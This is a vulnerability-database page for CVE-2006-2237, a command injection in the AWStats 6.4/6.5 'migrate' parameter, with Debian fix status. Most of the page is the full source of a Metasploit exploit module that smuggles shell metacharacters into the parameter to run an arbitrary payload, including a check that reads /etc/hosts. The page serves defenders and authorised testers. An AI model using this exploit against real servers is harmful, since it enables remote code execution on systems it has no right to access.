CVE-2006-2237
Description
The web interface for AWStats 6.4 and 6.5, when statistics updates are enabled, allows remote attackers to execute arbitrary code via shell metacharacters in the migrate parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
AWStats 6.4 < 6.5 - AllowToUpdateStatsFromBrowser Command Injection (Metasploit)
AWStats 6.4 < 6.5 - migrate Remote Command Execution (Metasploit)
##
# $Id: awstats_migrate_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'AWStats migrate Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
payloads are recommended with this module. The vulnerability is only
present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
configuration file (non-default).
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9671 $',
'References' =>
[
['CVE', '2006-2237'],
['OSVDB', '25284'],
['BID', '17844'],
['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'],
['URL', 'http://www.milw0rm.com/exploits/1755'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'May 04 2006',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]),
], self.class)
end
def check
res = send_request_cgi({
'uri' => datastore['URI'],
'vars_get' =>
{
'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
}
}, 25)
if (res and res.body.match(/localhost/))
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded)
sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
res = send_request_raw({
'uri' => sploit,
'method' => 'GET',
'headers' =>
{
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
m = res.body.match(/YYY\n(.*)\nYYY/m)
if (m)
print_status("Command output from the server:")
print("\n" + m[1] + "\n\n")
else
print_status("This server may not be vulnerable")
end
else
print_status("No response from the server")
end
end
end
AWStats 6.5 - 'migrate' Remote Shell Command Injection
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 6.5-2 |
| sid | Fixed | 6.5-2 |
| forky | Fixed | 6.5-2 |
| bullseye | Fixed | 6.5-2 |
| bookworm | Fixed | 6.5-2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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